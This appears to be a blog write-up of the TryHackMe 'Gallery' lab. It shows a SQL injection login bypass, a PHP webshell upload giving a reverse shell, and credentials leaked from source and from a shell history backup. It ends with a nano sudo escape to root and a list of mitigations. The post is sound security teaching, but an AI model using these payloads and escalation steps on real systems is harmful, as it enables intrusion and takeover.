DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe: Gallery Writeup

Summary

Gallery is a Linux box running a "Simple Image Gallery System" PHP application on port 8080. The login form is vulnerable to a classic SQL injection auth bypass, which grants admin access. The admin profile page allows an avatar upload with no file-type restriction, enabling a PHP webshell upload and remote code execution as www-data. Database credentials recovered from the source lead to the gallery_db MySQL instance, and a world-readable backup of a user's .bash_history leaks a plaintext password for the user mike. Once logged in as mike, a misconfigured sudo rule allows running /opt/rootkit.sh as root with no password; the script shells out to nano as root, which is abused as a GTFOBin to spawn a root shell.

1. Recon

rustscan -a <MACHINE_IP> --ulimit 5000
Enter fullscreen mode Exit fullscreen mode
Open <MACHINE_IP>:22
Open <MACHINE_IP>:80
Open <MACHINE_IP>:8080
Enter fullscreen mode Exit fullscreen mode
nmap -A <MACHINE_IP> -p 22,80,8080 -oN gallery-nmap
Enter fullscreen mode Exit fullscreen mode
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Simple Image Gallery System
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Enter fullscreen mode Exit fullscreen mode

Port 80 is the stock Apache default page (nothing of interest). Port 8080 redirects to /gallery/login.php:

<script>location.href="http://<MACHINE_IP>/gallery/./login.php"</script>
Enter fullscreen mode Exit fullscreen mode

This revealed the real document root is /gallery/ under the port-80 vhost, and the app is "Simple Image Gallery System" by oretnom23, v1.0.

2. SQL Injection Auth Bypass

The login form posts a username and password to login.php. Supplying a classic boolean-based injection in the username field bypasses authentication entirely:

  • Username: ' or 1=1-- -
  • Password: anything (1234 used here)

This logged straight in as the first user in the users table, the admin account, confirming the login query is unparameterized and string-concatenated.

3. Admin Panel -> Arbitrary File Upload -> RCE

Once authenticated as admin, the profile page at ?page=user exposes an avatar upload field with no server-side extension or content-type validation. Uploading a PHP webshell as the avatar is accepted and stored under uploads/, and is directly reachable and executable from the web root. The avatar is rendered back into the admin UI itself, so after submitting the update, simply reloading the page (or navigating back to the dashboard) is enough to load the uploaded avatar and trigger execution - no need to browse to the file path directly. A listener was staged first:

penelope listen -p 4444
Enter fullscreen mode Exit fullscreen mode

Triggering the shell gave an interactive callback:

[+] [New Reverse Shell] => ip-<MACHINE_IP> <MACHINE_IP> Linux-x86_64  www-data(33)  Session ID <1>
www-data@ip-<MACHINE_IP>:/$ whoami
www-data
www-data@ip-<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

4. Source Review and Database Access

Reading the application source confirmed the injection point and surfaced database credentials:

www-data@ip-<MACHINE_IP>:/var/www/html/gallery$ cat initialize.php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0', ... );
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
Enter fullscreen mode Exit fullscreen mode

Using these credentials directly against the local MySQL instance (binding only to 127.0.0.1:3306) worked even though the same creds failed when the shell's effective user didn't match what MySQL expected over the socket:

www-data@ip-<MACHINE_IP>:/var/www$ mysql -u gallery_user -p'passw0rd321' -h 127.0.0.1 -e "use gallery_db; select * from users;"
+----+--------------+----------+----------+----------------------------------+
| id | firstname    | lastname | username | password                         |
+----+--------------+----------+----------+----------------------------------+
|  1 | Adminstrator | Admin    | admin    | a228b12a08b6527e7978cbe5d914531c |
+----+--------------+----------+----------+----------------------------------+
Enter fullscreen mode Exit fullscreen mode

This confirms the admin table entry used in the SQLi bypass, though database access doesn't directly advance privilege escalation on its own.

5. Local Enumeration and Lateral Movement to mike

www-data@ip-<MACHINE_IP>:/var$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
mike:x:1001:1001:mike:/home/mike:/bin/bash
Enter fullscreen mode Exit fullscreen mode

/home/mike itself wasn't readable, but a backup copy of the home directory was world-readable:

www-data@ip-<MACHINE_IP>:/var$ ls -la /var/backups/mike_home_backup/
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history
Enter fullscreen mode Exit fullscreen mode
www-data@ip-<MACHINE_IP>:/var$ cat /var/backups/mike_home_backup/.bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit
Enter fullscreen mode Exit fullscreen mode

The line sudo -lb3stpassw0rdbr0xx is mike typing his sudo password straight after sudo -l without a space (the shell echoed it back into history as one token). The password is b3stpassw0rdbr0xx.

www-data@ip-<MACHINE_IP>:/var$ su mike
Password: 
mike@ip-<MACHINE_IP>:/var$ cd ~
mike@ip-<MACHINE_IP>:~$ cat user.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

6. Privilege Escalation: sudo rootkit.sh -> nano GTFOBin

mike@ip-<MACHINE_IP>:~$ sudo -l
User mike may run the following commands on ip-<MACHINE_IP>:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh
Enter fullscreen mode Exit fullscreen mode
mike@ip-<MACHINE_IP>:~$ cat /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac
Enter fullscreen mode Exit fullscreen mode

The read branch opens /root/report.txt in nano as root. Modern nano supports executing a command and piping its output into the buffer (Ctrl+R, Ctrl+X), which runs as the nano process's user - root here:

mike@ip-<MACHINE_IP>:~$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
Enter fullscreen mode Exit fullscreen mode

Inside nano: Ctrl+R -> Ctrl+X -> Execute Command prompt -> entered:

reset; sh 1>&0 2>&0
Enter fullscreen mode Exit fullscreen mode

This spawned an interactive root shell inside the nano session:

# whoami
root
# cd /root
# ls
report.txt  root.txt
# cat root.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 SQL injection, auth bypass login.php Unauthenticated admin login
2 Unrestricted file upload Admin profile avatar upload (?page=user) PHP webshell upload -> RCE as www-data
3 Hardcoded DB credentials in source initialize.php Full access to gallery_db
4 World-readable backup with plaintext password in shell history /var/backups/mike_home_backup/.bash_history Credential disclosure, lateral movement to mike
5 Overly permissive sudo rule + GTFOBin (nano) sudo -l -> /opt/rootkit.sh -> nano Privilege escalation to root

Attack Chain

Nmap scan (22, 80, 8080)
        │
        ▼
Simple Image Gallery System on :8080
        │
        ▼
SQL injection auth bypass (' or 1=1-- -)
        │
        ▼
Logged in as admin
        │
        ▼
Unrestricted avatar upload -> PHP webshell
        │
        ▼
RCE as www-data (reverse shell)
        │
        ▼
initialize.php leaks DB creds -> gallery_db confirmed
        │
        ▼
/var/backups/mike_home_backup/.bash_history leaks mike's password
        │
        ▼
su mike -> user.txt
        │
        ▼
sudo -l: NOPASSWD /opt/rootkit.sh
        │
        ▼
rootkit.sh -> nano /root/report.txt (as root)
        │
        ▼
nano Execute Command GTFOBin -> root shell
        │
        ▼
root.txt
Enter fullscreen mode Exit fullscreen mode

Mitigations

  • Use parameterized queries / prepared statements for all authentication and data-access code; never concatenate user input into SQL.
  • Validate uploaded files server-side by content (magic bytes) and re-encode images rather than trusting the filename extension; store uploads outside the webroot or in a directory with PHP execution disabled.
  • Never hardcode database credentials in application source; use environment variables or a secrets manager, and keep source out of the web-accessible document root.
  • Ensure backup archives and directories preserve the original ownership and permission model of the files they contain; a backup should never be more permissive than the source it was taken from. Avoid persisting shell history files with credentials at all.
  • Scope sudo rules to the minimum necessary; avoid NOPASSWD wrappers around scripts that shell out to interactive, full-featured editors like nano, vim, less, etc. Use sudoedit or a restricted editor mode instead.

Top comments (0)